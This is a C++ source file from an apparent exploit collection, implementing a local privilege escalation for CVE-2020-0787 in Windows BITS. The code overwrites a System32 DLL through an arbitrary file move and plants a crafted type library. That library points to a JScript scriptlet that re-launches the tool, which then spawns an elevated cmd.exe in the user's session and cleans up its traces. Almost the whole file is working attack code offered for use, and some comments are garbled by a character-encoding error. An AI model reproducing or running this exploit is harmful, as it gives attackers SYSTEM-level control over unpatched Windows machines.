0day/00-CVE_EXP/CVE-2020-0787/BitsArbitraryFileMoveExploit/BitsArbitraryFileMoveExploit.cpp
2022-03-01 16:58:13 +08:00

1150 lines
23 KiB
C++
Raw Blame History

#include <iostream>
#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <bits.h>
#include <bits4_0.h>
#include <stdio.h>
#include <tchar.h>
#include <string>
#include <comdef.h>
#include <Shlwapi.h>
#include <strsafe.h>
#include <vector>
#include <Sddl.h>
#include <atlbase.h>
#include "resource.h"
#include "../BitsArbitraryFileMove/BitsArbitraryFileMove.h"
#define TEMPO 2000
#define LEN 1024
static int FileCount = 0;
static IID IID_InterfaceTemp;
static wchar_t g_dllPathBak[LEN];
static BSTR CleanUpFileList[3] = { L"SysFxUI.dll", L"SysFxUI.dll.bak", L"run.sct" };
static PVOID m_pOldValue = nullptr;
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob, __uuidof(IBackgroundCopyJob));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyManager, __uuidof(IBackgroundCopyManager));
_COM_SMARTPTR_TYPEDEF(IBackgroundCopyJob2, __uuidof(IBackgroundCopyJob2));
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
OXID oxid;
OID oid;
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF {
unsigned long signature;//MEOW
unsigned long flags;
GUID iid;
union {
struct {
STDOBJREF std;
DUALSTRINGARRAY saResAddr;
} u_standard;
struct {
STDOBJREF std;
CLSID clsid;
DUALSTRINGARRAY saResAddr;
} u_handler;
struct {
CLSID clsid;
unsigned long cbExtension;
unsigned long size;
ULONGLONG pData;
} u_custom;
} u_objref;
} OBJREF;
typedef struct ExploitData{
;
IID IID_Interface;
IID TypeLib_Interface;
OLECHAR extPath[LEN];
OLECHAR dllPath[LEN];
OLECHAR Interface_Name[LEN];
UINT32 InterfaceVersionFirst;
UINT32 InterfaceVersionNext;
}*PExploitData;
static bstr_t IIDToBSTR(REFIID riid)
{
LPOLESTR str;
bstr_t ret = "Unknown";
if (SUCCEEDED(StringFromIID(riid, &str)))
{
ret = str;
CoTaskMemFree(str);
}
return ret;
}
class SafeScopedHandle
{
HANDLE _h;
public:
SafeScopedHandle() : _h(nullptr)
{
}
SafeScopedHandle(SafeScopedHandle& h)
{
_h = h._h;
h._h = nullptr;
}
SafeScopedHandle(SafeScopedHandle&& h) {
_h = h._h;
h._h = nullptr;
}
~SafeScopedHandle()
{
if (!invalid())
{
CloseHandle(_h);
_h = nullptr;
}
}
bool invalid() {
return (_h == nullptr) || (_h == INVALID_HANDLE_VALUE);
}
void set(HANDLE h)
{
_h = h;
}
HANDLE get()
{
return _h;
}
HANDLE* ptr()
{
return &_h;
}
};
bstr_t GetSystemDrive()
{
WCHAR windows_dir[MAX_PATH] = { 0 };
GetWindowsDirectory(windows_dir, MAX_PATH);
windows_dir[2] = 0;
return windows_dir;
}
bstr_t GetDeviceFromPath(LPCWSTR lpPath)
{
WCHAR drive[3] = { 0 };
drive[0] = lpPath[0];
drive[1] = lpPath[1];
drive[2] = 0;
WCHAR device_name[MAX_PATH] = { 0 };
if (QueryDosDevice(drive, device_name, MAX_PATH))
{
return device_name;
}
else
{
fflush(stdout);
printf("[+][x] Error getting device for %ls\n", lpPath);
exit(1);
}
}
bstr_t GetSystemDevice()
{
return GetDeviceFromPath(GetSystemDrive());
}
bstr_t GetExe()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
return curr_path;
}
bstr_t GetExeDir()
{
WCHAR curr_path[MAX_PATH] = { 0 };
GetModuleFileName(nullptr, curr_path, MAX_PATH);
PathRemoveFileSpec(curr_path);
return curr_path;
}
bstr_t GetCurrentPath()
{
bstr_t curr_path = GetExeDir();
bstr_t ret = GetDeviceFromPath(curr_path);
ret += &curr_path.GetBSTR()[2];
return ret;
}
static HRESULT Check(HRESULT hr)
{
if (FAILED(hr))
{
throw _com_error(hr);
}
return hr;
}
// {D487789C-32A3-4E22-B46A-C4C4C1C2D3E0}
static const GUID IID_BaseInterface =
{ 0xd487789c, 0x32a3, 0x4e22, { 0xb4, 0x6a, 0xc4, 0xc4, 0xc1, 0xc2, 0xd3, 0xe0 } };
// {6C6C9F33-AE88-4EC2-BE2D-449A0FFF8C02}
static const GUID TypeLib_BaseInterface =
{ 0x6c6c9f33, 0xae88, 0x4ec2, { 0xbe, 0x2d, 0x44, 0x9a, 0xf, 0xff, 0x8c, 0x2 } };
const wchar_t x[] = L"ABC";
const wchar_t scriptlet_start[] = L"<?xml version='1.0'?>\r\n<package>\r\n<component id='giffile'>\r\n"
L"<registration description='Dummy' progid='giffile' version='1.00' remotable='True'>\r\n"\
L"</registration>\r\n"\
L"<script language='JScript'>\r\n"\
L"<![CDATA[\r\n"\
L" new ActiveXObject('Wscript.Shell').exec('";
const wchar_t scriptlet_end[] = L"');\r\n"\
L"]]>\r\n"\
L"</script>\r\n"\
L"</component>\r\n"\
L"</package>\r\n";
class ChaHua
{
BSTR target_tlb_dest = (BSTR)malloc(LEN);
PExploitData data = (PExploitData)malloc(sizeof(ExploitData));
~ChaHua(){};
public:
ChaHua(IID IID_IInterface, BSTR IInterface_name , IID IID_TypeLib, BSTR dllPathFrom )
{
data->IID_Interface = IID_IInterface;
if (IInterface_name)
{
wcscpy(data->Interface_Name, IInterface_name);
}
data->TypeLib_Interface = IID_TypeLib;
if (dllPathFrom)
{
wcscpy(data->dllPath, dllPathFrom);
}
else
{
wcscpy(data->dllPath, L"");
}
wcscpy(data->extPath, L"");
}
HRESULT Init()
{
return S_OK;
}
GUID* GetFakeIID_IInterface()
{
return &data->IID_Interface;
}
void MakeTempTypelib(bstr_t filename, bstr_t if_name, REFGUID typelib_guid, REFGUID iid, ITypeLib* ref_typelib, REFGUID ref_iid)
{
DeleteFile(filename);
ICreateTypeLib2Ptr tlb;
Check(CreateTypeLib2(SYS_WIN32, filename, &tlb));
//Check(CreateTypeLib2(SYS_WIN64, filename, &tlb));
tlb->SetGuid(typelib_guid);
ITypeInfoPtr ref_type_info;
Check(ref_typelib->GetTypeInfoOfGuid(ref_iid, &ref_type_info));
ICreateTypeInfoPtr create_info;
Check(tlb->CreateTypeInfo(if_name, TKIND_INTERFACE, &create_info));
Check(create_info->SetTypeFlags(TYPEFLAG_FDUAL | TYPEFLAG_FOLEAUTOMATION));
HREFTYPE ref_type;
Check(create_info->AddRefTypeInfo(ref_type_info, &ref_type));
Check(create_info->AddImplType(0, ref_type));
Check(create_info->SetGuid(iid));
Check(tlb->SaveAllChanges());
}
std::vector<BYTE> ReadFileByPath(bstr_t path)
{
SafeScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
DWORD size = GetFileSize(hFile.get(), nullptr);
std::vector<BYTE> ret(size);
if (size > 0)
{
DWORD bytes_read;
if (!ReadFile(hFile.get(), ret.data(), size, &bytes_read, nullptr) || bytes_read != size)
{
throw _com_error(E_FAIL);
}
}
return ret;
}
void WriteFileByString(bstr_t path, const char* data)
{
const BYTE* bytes = reinterpret_cast<const BYTE*>(data);
std::vector<BYTE> data_buf(bytes, bytes + strlen(data));
WriteFileByData(path, data_buf);
}
void WriteFileByData(bstr_t path, const std::vector<BYTE> data)
{
SafeScopedHandle hFile;
hFile.set(CreateFile(path, GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, 0, nullptr));
if (hFile.invalid())
{
throw _com_error(E_FAIL);
}
if (data.size() > 0)
{
DWORD bytes_written;
if (!WriteFile(hFile.get(), data.data(), data.size(), &bytes_written, nullptr) || bytes_written != data.size())
{
throw _com_error(E_FAIL);
}
}
}
BOOL ExploitCopyFile(bool shellmode){
BitsArbitraryFileMove bitsArbitraryFileMove;
char* cmdstr = (char*)malloc(LEN);
bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(data->dllPath) + ".bak";
wcscpy(g_dllPathBak, dllPathBak.GetBSTR());
if (!CopyFileW(data->dllPath, g_dllPathBak, false))
{
printf("[+]Copy Back File Failed \n");
}
return bitsArbitraryFileMove.Run(target_tlb_dest, data->dllPath);
}
void BuildTypeLibsWrapper(BSTR script_path)
{
//<2F><>ǰĿ¼<C4BF>µ<EFBFBD><C2B5><EFBFBD>ʱtypelib
bstr_t target_tlb = GetExeDir() + L"\\" + PathFindFileName(data->dllPath);
printf("[+]Building TypeLib:%ls \n", target_tlb.GetBSTR());
bstr_t script;
if (script_path)
{
script = script_path;
}
else
{
script = L"script:" + CreateScriptletFile();
}
BuildTypeLibs(script, data->Interface_Name, target_tlb);
wcscpy(target_tlb_dest, target_tlb.GetBSTR());
}
BSTR GetDllPath()
{
return _wcsdup(data->dllPath);
}
void BuildTypeLibs(LPCSTR script_path, bstr_t if_name, bstr_t target_tlb)
{
try{
ITypeLibPtr stdole2;
Check(LoadTypeLib(L"stdole2.tlb", &stdole2));
fflush(stdout);
unsigned int len = strlen(script_path);
bstr_t buf = GetExeDir() + L"\\";
for (unsigned int i = 0; i < len; ++i)
{
buf += L"A";
}
MakeTempTypelib(buf, "IBadger", TypeLib_BaseInterface, IID_BaseInterface, stdole2, IID_IDispatch);
ITypeLib* abc;
Check(LoadTypeLib(buf, &abc));
bstr_t built_tlb = GetExeDir() + L"\\output.tlb";
MakeTempTypelib(built_tlb, if_name, data->TypeLib_Interface, data->IID_Interface, abc, IID_BaseInterface);
std::vector<BYTE> tlb_data = ReadFileByPath(built_tlb);
for (size_t i = 0; i < tlb_data.size() - len; ++i)
{
bool found = true;
for (unsigned int j = 0; j < len; j++)
{
if (tlb_data[i + j] != 'A')
{
found = false;
}
}
if (found)
{
fflush(stdout);
printf("[+]Typelib:%s,%ls,%ls \n", script_path, if_name.GetBSTR(), IIDToBSTR(data->TypeLib_Interface).GetBSTR());
memcpy(&tlb_data[i], script_path, len);
break;
}
}
WriteFileByData(target_tlb, tlb_data);
abc->Release();
DeleteFile(buf);
DeleteFile(built_tlb);
}
catch (const _com_error& err)
{
printf("[+]Error BuildT ypeLibs: %ls\n", err.ErrorMessage());
}
}
bstr_t CreateScriptletFile()
{
bstr_t script_file = GetExeDir() + L"\\run.sct";
bstr_t script_data = scriptlet_start;
bstr_t exe_file = GetExe();
wchar_t* p = exe_file;
while (*p)
{
if (*p == '\\')
{
*p = '/';
}
p++;
}
DWORD session_id;
ProcessIdToSessionId(GetCurrentProcessId(), &session_id);
WCHAR session_str[16];
StringCchPrintf(session_str, _countof(session_str), L"%d", session_id);
script_data += L"\"" + exe_file + L"\" door " + session_str + scriptlet_end;
WriteFileByString(script_file, script_data);
return script_file;
}
};
class CMarshaller : public IMarshal
{
LONG _ref_count;
IUnknown * _unk;
~CMarshaller() {}
public:
CMarshaller(IUnknown * unk) : _ref_count(1)
{
_unk = unk;
}
virtual HRESULT STDMETHODCALLTYPE QueryInterface(
/* [in] */ REFIID riid,
/* [iid_is][out] */ _COM_Outptr_ void __RPC_FAR *__RPC_FAR *ppvObject)
{
*ppvObject = nullptr;
//printf("[+]QI [CMarshaller] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
if (riid == IID_IUnknown)
{
*ppvObject = this;
}
else if (riid == IID_IMarshal)
{
*ppvObject = static_cast<IMarshal*>(this);
}
else
{
return E_NOINTERFACE;
}
//printf("[+]Queried Success: %p\n", *ppvObject);
((IUnknown *)*ppvObject)->AddRef();
return S_OK;
}
virtual ULONG STDMETHODCALLTYPE AddRef(void)
{
//printf("[+]AddRef: %d\n", _ref_count);
return InterlockedIncrement(&_ref_count);
}
virtual ULONG STDMETHODCALLTYPE Release(void)
{
//printf("[+]Release: %d\n", _ref_count);
ULONG ret = InterlockedDecrement(&_ref_count);
if (ret == 0)
{
//printf("[+]Release object %p\n", this);
delete this;
}
return ret;
}
virtual HRESULT STDMETHODCALLTYPE GetUnmarshalClass(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ CLSID *pCid)
{
GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
*pCid = CLSID_AggStdMarshal2;
//printf("[+]GetUnmarshalClass: %ls %p\n", IIDToBSTR((REFIID)*pCid).GetBSTR(), this);
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceTemp).GetBSTR(), this);
headerObjRef->iid = IID_InterfaceTemp;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
virtual HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags,
/* [annotation][out] */
_Out_ DWORD *pSize)
{
*pSize = 1024;
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE UnmarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][out] */
_Outptr_ void **ppv)
{
return E_NOTIMPL;
}
virtual HRESULT STDMETHODCALLTYPE ReleaseMarshalData(
/* [annotation][unique][in] */
_In_ IStream *pStm)
{
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE DisconnectObject(
/* [annotation][in] */
_In_ DWORD dwReserved)
{
return S_OK;
}
};
class FakeObject : public IBackgroundCopyCallback2, public IPersist
{
HANDLE m_ptoken;
LONG m_lRefCount;
IUnknown *_umk;
~FakeObject() {};
public:
//Constructor, Destructor
FakeObject(IUnknown *umk){
_umk = umk;
m_lRefCount = 1;
}
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID *ppvObj)
{
//printf("[+]QI [FakeObject] - Marshaller: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
if (riid == __uuidof(IUnknown))
{
printf("[+]Query for IUnknown\n");
*ppvObj = this;
}
else if (riid == __uuidof(IBackgroundCopyCallback2))
{
printf("[+]Query for IBackgroundCopyCallback2\n");
}
else if (riid == __uuidof(IBackgroundCopyCallback))
{
printf("[+]Query for IBackgroundCopyCallback\n");
}
else if (riid == __uuidof(IPersist))
{
printf("[+]Query for IPersist\n");
*ppvObj = static_cast<IPersist*>(this);
//*ppvObj = _unk2;
}
else if (riid == IID_IMarshal)
{
printf("[+]Query for IID_IMarshal\n");
//*ppvObj = static_cast<IBackgroundCopyCallback2*>(this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
else
{
printf("[+]Unknown IID: %ls %p\n", IIDToBSTR(riid).GetBSTR(), this);
*ppvObj = NULL;
return E_NOINTERFACE;
}
((IUnknown *)*ppvObj)->AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
virtual HRESULT STDMETHODCALLTYPE JobTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob)
{
printf("[+]JobTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobError(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyError *pError)
{
printf("[+]JobError\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE JobModification(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ DWORD dwReserved)
{
printf("[+]JobModification\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE FileTransferred(
/* [in] */ __RPC__in_opt IBackgroundCopyJob *pJob,
/* [in] */ __RPC__in_opt IBackgroundCopyFile *pFile)
{
printf("[+]FileTransferred\n");
return S_OK;
}
virtual HRESULT STDMETHODCALLTYPE GetClassID(
/* [out] */ __RPC__out CLSID *pClassID)
{
printf("[+]GetClassID\n");
*pClassID = GUID_NULL;
return S_OK;
}
};
_COM_SMARTPTR_TYPEDEF(IEnumBackgroundCopyJobs, __uuidof(IEnumBackgroundCopyJobs));
void TestBits(HANDLE hEvent)
{
IBackgroundCopyManagerPtr pQueueMgr;
IID CLSID_BackgroundCopyManager;
IID IID_IBackgroundCopyManager;
CLSIDFromString(L"{4991d34b-80a1-4291-83b6-3328366b9097}", &CLSID_BackgroundCopyManager);
CLSIDFromString(L"{5ce34c0d-0dc9-4c1f-897c-daa1b78cee7c}", &IID_IBackgroundCopyManager);
HRESULT hr = CoCreateInstance(CLSID_BackgroundCopyManager, NULL,
CLSCTX_ALL, IID_IBackgroundCopyManager, (void**)&pQueueMgr);
IUnknown * pOuter = new CMarshaller(static_cast<IPersist*>(new FakeObject(nullptr)));
IUnknown * pInner;
CoGetStdMarshalEx(pOuter, CLSCTX_INPROC_SERVER, &pInner);
IBackgroundCopyJobPtr pJob;
GUID guidJob;
IEnumBackgroundCopyJobsPtr enumjobs;
hr = pQueueMgr->EnumJobs(0, &enumjobs);
if (SUCCEEDED(hr))
{
IBackgroundCopyJob* currjob;
ULONG fetched = 0;
while ((enumjobs->Next(1, &currjob, &fetched) == S_OK) && (fetched == 1))
{
LPWSTR lpStr;
if (SUCCEEDED(currjob->GetDisplayName(&lpStr)))
{
if (wcscmp(lpStr, L"BitsAuthSample") == 0)
{
CoTaskMemFree(lpStr);
currjob->Cancel();
currjob->Release();
break;
}
}
currjob->Release();
}
}
pQueueMgr->CreateJob(L"BitsAuthSample",
BG_JOB_TYPE_DOWNLOAD,
&guidJob,
&pJob);
IUnknownPtr pNotify;
pNotify.Attach(new CMarshaller(pInner));
{
HRESULT hr = pJob->SetNotifyInterface(pNotify);
printf("[+]Test Background Intelligent Transfer Service Result: %08X\n", hr);
}
if (pJob)
{
pJob->Cancel();
}
//printf("[+]Done\n");
SetEvent(hEvent);
}
BOOL DirectoryListCleanUp_After(BSTR Path, BSTR ExeName)
{
if (!PathIsDirectoryW(Path))
{
return FALSE;
}
WIN32_FIND_DATAW FindData;
HANDLE hError;
BSTR FilePathName = (BSTR)malloc(LEN);
// <20><><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
bstr_t FullPathName;
wcscpy(FilePathName, Path);
wcscat(FilePathName, L"\\*.*");
hError = FindFirstFile(FilePathName, &FindData);
if (hError == INVALID_HANDLE_VALUE)
{
//printf("[+]Enumerating %ls Failed Try To Skip, code: %d,error: %d\n", FilePathName, GetLastError(), hError);
return 0;
}
while (::FindNextFile(hError, &FindData))
{
// <20><><EFBFBD><EFBFBD>.<2E><>..
if (_wcsicmp(FindData.cFileName, L".") == 0
|| _wcsicmp(FindData.cFileName, L"..") == 0)
{
continue;
}
FullPathName = bstr_t(Path) + "\\" + FindData.cFileName;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
if (_wcsicmp(ExeName, FindData.cFileName) != 0)
{
for (int i = 0; i < 3; i++)
{
if (_wcsicmp(CleanUpFileList[i], FindData.cFileName) == 0)
{
DeleteFile(FullPathName);
}
}
}
//wsprintf(FullPathName, L"%s\\%s", Path, FindData.cFileName);
//FileCount++;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
DirectoryListCleanUp_After(FullPathName, ExeName);
}
}
return FALSE;
}
BOOL RestoreExploitFile_After(bool shellmode, BSTR dllBakPath, BSTR dllRealPath)
{
PVOID oldval = nullptr;
HANDLE hProcess;
BOOL bWow64Process;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (shellmode)
{
if (bWow64Process)
{
if (!Wow64DisableWow64FsRedirection(&oldval))
{
printf("[+]Wow64DisableWow64FsRedirection Failed\n");
return FALSE;
}
}
}
printf("[+]Restoring File %ls,%ls\n", dllBakPath, dllRealPath);
if (CopyFileW(dllBakPath, dllRealPath, false))
{
bstr_t exeDir = GetExeDir();
bstr_t exeName = PathFindFileName(GetExe());
printf("[+]Restoring BackUp DLL Done,Do CleanUp... \n");
DirectoryListCleanUp_After(exeDir, exeName);
if (shellmode&&bWow64Process)
{
Wow64RevertWow64FsRedirection(oldval);
}
return TRUE;
}
else
{
if (shellmode&&bWow64Process)
{
Wow64RevertWow64FsRedirection(oldval);
}
printf("[+]Run Exploit Failed,Check Run As Administrator \n");
return FALSE;
}
}
void CreateNewProcess(const wchar_t* session)
{
try
{
ShellExecuteW(NULL, NULL, L"C:\\Windows\\System32\\bitsadmin.exe", L"/reset /allusers", NULL, SW_HIDE);
}
catch (const _com_error& err)
{
}
DWORD session_id = wcstoul(session, nullptr, 0);
SafeScopedHandle token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, token.ptr()))
{
throw _com_error(E_FAIL);
}
SafeScopedHandle new_token;
if (!DuplicateTokenEx(token.get(), TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, new_token.ptr()))
{
throw _com_error(E_FAIL);
}
SetTokenInformation(new_token.get(), TokenSessionId, &session_id, sizeof(session_id));
STARTUPINFO start_info = {};
start_info.cb = sizeof(start_info);
start_info.lpDesktop = L"WinSta0\\Default";
PROCESS_INFORMATION proc_info;
WCHAR cmdline[] = L"cmd.exe";
if (CreateProcessAsUser(new_token.get(), nullptr, cmdline,
nullptr, nullptr, FALSE, CREATE_NEW_CONSOLE, nullptr, nullptr, &start_info, &proc_info))
{
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
}
}
int _tmain(int argc, _TCHAR* argv[])
{
try
{
IID TypeLib_InterfaceTemp;
BSTR pwszEvilDllPath = L"C:\\Windows\\System32\\SysFxUI.dll";
BSTR if_name = L"IMyPageFactory";
HRESULT hr = CoInitialize(NULL);
if (argc < 2)
{
HANDLE hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
CLSIDFromString(L"{E6DB299B-B925-415A-879B-4A76D072F39A}", &IID_InterfaceTemp);
CLSIDFromString(L"{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}", &TypeLib_InterfaceTemp);
ChaHua * exp = new ChaHua(IID_InterfaceTemp, if_name, TypeLib_InterfaceTemp, pwszEvilDllPath);
exp->BuildTypeLibsWrapper(nullptr);
if (exp->ExploitCopyFile(TRUE))
{
TestBits(hEvent);
}
}else if (_wcsicmp(argv[1], L"door") == 0)
{
bstr_t dllPathBak = GetExeDir() + L"\\" + PathFindFileName(pwszEvilDllPath) + ".bak";
wcscpy(g_dllPathBak, dllPathBak.GetBSTR());
RestoreExploitFile_After(TRUE, g_dllPathBak, pwszEvilDllPath);
CreateNewProcess(argv[2]);
return 0;
}
}
catch (const _com_error& err)
{
printf("Error: %ls\n", err.ErrorMessage());
}
CoUninitialize();//<2F>ͷ<EFBFBD>COM
return 0;
}
BOOL EnableWow64FSRedirector()
{
HANDLE hProcess;
BOOL bWow64Process;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (bWow64Process)
{
if (!Wow64RevertWow64FsRedirection(m_pOldValue))
{
wprintf_s(L"[!] Wow64RevertWow64FsRedirection() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
}
CloseHandle(hProcess);
return TRUE;
}
BOOL DisableWow64FSRedirector()
{
HANDLE hProcess;
BOOL bWow64Process;
hProcess = GetCurrentProcess();
if (!IsWow64Process(hProcess, &bWow64Process))
{
wprintf_s(L"[!] IsWow64Process() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
if (bWow64Process)
{
if (!Wow64DisableWow64FsRedirection(&m_pOldValue))
{
wprintf_s(L"[!] Wow64DisableWow64FsRedirection() failed (Err: %d).\n", GetLastError());
CloseHandle(hProcess);
return FALSE;
}
}
CloseHandle(hProcess);
return TRUE;
}